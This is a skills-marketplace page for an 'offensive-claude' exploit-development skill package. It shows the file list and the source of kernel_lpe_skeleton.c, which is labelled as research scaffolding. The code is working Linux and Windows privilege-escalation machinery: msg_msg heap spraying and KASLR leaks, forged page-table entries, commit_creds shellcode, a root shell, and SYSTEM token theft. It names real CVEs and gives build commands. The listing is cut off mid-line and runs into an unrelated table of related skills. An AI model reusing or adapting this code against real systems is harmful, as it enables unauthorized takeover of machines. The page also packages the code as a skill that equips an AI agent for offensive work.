hypnguyen1209/offensive-claude / skills/exploit-development
exploit-development
VerifiedUse when turning a memory-corruption bug into a working PoC — stack/ROP, glibc heap & FSOP, format strings, browser/JIT type confusion & UAF, Linux/Windows kernel LPE against ASLR/DEP/CFG/CET/V8-Sandbox
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 9.1 KB |
| references/browser-jit-uaf.md | markdown | 8.3 KB |
| references/exploit-feasibility.md | markdown | 3.2 KB |
| references/format-string-leaks.md | markdown | 7.2 KB |
| references/heap-glibc-fsop.md | markdown | 9.3 KB |
| references/kernel-exploitation.md | markdown | 10.4 KB |
| references/stack-rop-mitigations.md | markdown | 9.7 KB |
| scripts/exploit_context.py | script | 10.5 KB |
| scripts/feasibility_profile.py | script | 9.3 KB |
| scripts/fmtstr_leak.py | script | 3.5 KB |
| scripts/heap_fsop.py | script | 4.5 KB |
| scripts/kernel_lpe_skeleton.c | other | 6.5 KB |
| scripts/offset_finder.py | script | 3.6 KB |
| scripts/rop_autochain.py | script | 4.1 KB |
| scripts/safe_linking.py | script | 2.5 KB |
| scripts/v8_primitives.js | script | 4.7 KB |
scripts/kernel_lpe_skeleton.c
View on GitHub/*
* kernel_lpe_skeleton.c - Cross-platform kernel-LPE scaffolding for authorized research.
*
* Provides reusable, syntactically-complete building blocks used across modern LPE chains:
* Linux:
* - msg_msg spray / oversized read-back (KASLR infoleak, OOB read) -- CWE-125
* - Dirty-Pagetable style PTE overwrite helper (data-only escalation) -- CWE-416
* - commit_creds(prepare_kernel_cred(0)) ROP-payload assembler (fallback path)
* Windows (compiled with -DWINDOWS, MSVC/MinGW):
* - kernel R/W abstraction over a supplied Read64/Write64 (PreviousMode or I/O Ring)
* - SYSTEM token theft via _EPROCESS.Token (EX_FAST_REF aware)
*
* The actual memory-corruption trigger is target-specific and must be supplied; this file
* is the post-primitive escalation/leak machinery (the reusable part across CVEs such as
* CVE-2024-1086, CVE-2024-50264, CVE-2025-29824).
*
* Build (Linux): gcc -O2 -static -o lpe kernel_lpe_skeleton.c
* Build (Windows): x86_64-w64-mingw32-gcc -DWINDOWS -O2 -o lpe.exe kernel_lpe_skeleton.c
*/
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#ifndef WINDOWS
/* =============================== Linux ==================================== */
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <unistd.h>
struct msgbuf_big { long mtype; char mtext[0x1000]; };
/* Spray `count` System V messages of `len` bytes into a kmalloc-* cache.
* Returns the queue id (or -1). Use this to place msg_msg objects adjacent to the
* vulnerable object (heap grooming / cross-cache fodder). */
int msg_spray(int count, const char *data, size_t len) {
int q = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
if (q < 0) return -1;
struct msgbuf_big m;
m.mtype = 1;
memset(m.mtext, 0, sizeof(m.mtext));
if (len > sizeof(m.mtext)) len = sizeof(m.mtext);
memcpy(m.mtext, data, len);
for (int i = 0; i < count; i++)
if (msgsnd(q, &m, len, IPC_NOWAIT) < 0) return q;
return q;
}
/* OOB read-back: after corruption inflates a neighbouring msg_msg size field, copy it
* back oversized to leak adjacent kernel memory (KASLR/.text/heap pointer). MSG_COPY
* leaves the message in place so the queue stays usable. */
int msg_leak(int q, void *out, size_t want) {
struct msgbuf_big *r = malloc(sizeof(long) + want);
if (!r) return -1;
ssize_t n = msgrcv(q, r, want, 0, MSG_COPY | IPC_NOWAIT);
if (n < 0) { free(r); return -1; }
memcpy(out, r->mtext, want);
free(r);
return 0;
}
#define PTE_PRESENT 0x1ULL
#define PTE_RW 0x2ULL
#define PTE_USER 0x4ULL
/* Forge a PTE pointing at `phys` (Dirty Pagetable). NX (bit 63) left clear so the
* aliased page is also executable if needed. */
static inline uint64_t make_pte(uint64_t phys) {
return (phys & ~0xfffULL) | PTE_PRESENT | PTE_RW | PTE_USER;
}
/* Fault in a fresh anonymous page so a PTE for `va` exists, ready to be overwritten by
* the UAF/cross-cache write primitive supplied by the caller. */
void *prime_pte_page(void) {
void *p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (p == MAP_FAILED) return NULL;
*(volatile uint64_t *)p = 0x4141414141414141ULL; /* fault it in */
return p;
}
/* x86-64 commit_creds(prepare_kernel_cred(0)) payload (fallback control-flow path when
* data-only is not viable). Resolve the two symbol addresses from the leaked KASLR base. */
size_t build_creds_payload(uint8_t *buf, uint64_t prepare_kernel_cred, uint64_t commit_creds) {
/* xor edi,edi ; movabs rax, prepare_kernel_cred ; call rax ;
mov rdi, rax ; movabs rax, commit_creds ; call rax ; ret */
uint8_t code[] = {
0x31, 0xff, /* xor edi,edi */
0x48, 0xb8, 0,0,0,0,0,0,0,0, /* movabs rax,... */
0xff, 0xd0, /* call rax */
0x48, 0x89, 0xc7, /* mov rdi,rax */
0x48, 0xb8, 0,0,0,0,0,0,0,0, /* movabs rax,... */
0xff, 0xd0, /* call rax */
0xc3 /* ret */
};
memcpy(&code[4], &prepare_kernel_cred, 8);
memcpy(&code[19], &commit_creds, 8);
memcpy(buf, code, sizeof(code));
return sizeof(code);
}
/* Confirm escalation. */
void pop_root(void) {
if (getuid() == 0) {
char *argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
}
}
int main(void) {
printf("[*] Linux LPE scaffolding loaded. Wire in your target's corruption trigger:\n");
printf(" 1) msg_spray() to groom; 2) trigger UAF/cross-cache; 3) msg_leak() KASLR;\n");
printf(" 4) prime_pte_page()+make_pte() (Dirty Pagetable) OR build_creds_payload();\n");
printf(" 5) restore corrupted PTE/state; 6) pop_root().\n");
/* Intentionally no live trigger: this is reusable machinery, not a turnkey 0day. */
return 0;
}
#else
/* =============================== Windows ================================== */
#include <windows.h>
/* Kernel R/W abstraction. Back these with whichever primitive the target provides:
* - pre-24H2: flip _KTHREAD.PreviousMode=0, then NtReadVirtualMemory/NtWriteVirtualMemory
* - 24H2+: corrupt IORING_OBJECT.RegBuffers -> Build/SubmitIoRingReadFile/WriteFile */
typedef ULONGLONG (*Read64Fn)(ULONGLONG kva);
typedef void (*Write64Fn)(ULONGLONG kva, ULONGLONG val);
/* Steal the SYSTEM token into the current process. EX_FAST_REF: low 4 bits are a ref
* count -- preserve OUR token's low bits while swapping the upper pointer bits.
* token_off and the EPROCESS link offsets are build-specific (resolve from ntoskrnl). */
ULONGLONG steal_system_token(Read64Fn Read64, Write64Fn Write64,
ULONGLONG eproc_self, ULONGLONG eproc_system,
ULONG token_off) {
ULONGLONG sys_tok = Read64(eproc_system + token_off);
ULONGLONG orig_tok = Read64(eproc_self + token_off);
Write64(eproc_self + token_off, (sys_tok & ~0xFULL) | (orig_tok & 0xFULL));
return orig_tok; /* keep for cleanup/restore */
}
/* Walk ActiveProcessLinks from a known EPROCESS to find a target PID's EPROCESS.
* links_off = _EPROCESS.ActiveProcessLinks, pid_off = _EPROCESS.UniqueProcessId
* (both build-specific). Returns 0 if not found. */
ULONGLONG find_eprocess(Read64Fn Read64, ULONGLONG start_eproc,
ULONG links_off, ULONG pid_off, ULONGLONG want_pid) {
ULONGLONG cur = start_eproc;
for (intRelated skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | Stars: 197k | Updated | Claude CodeCodex | Verified | Install |
| ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |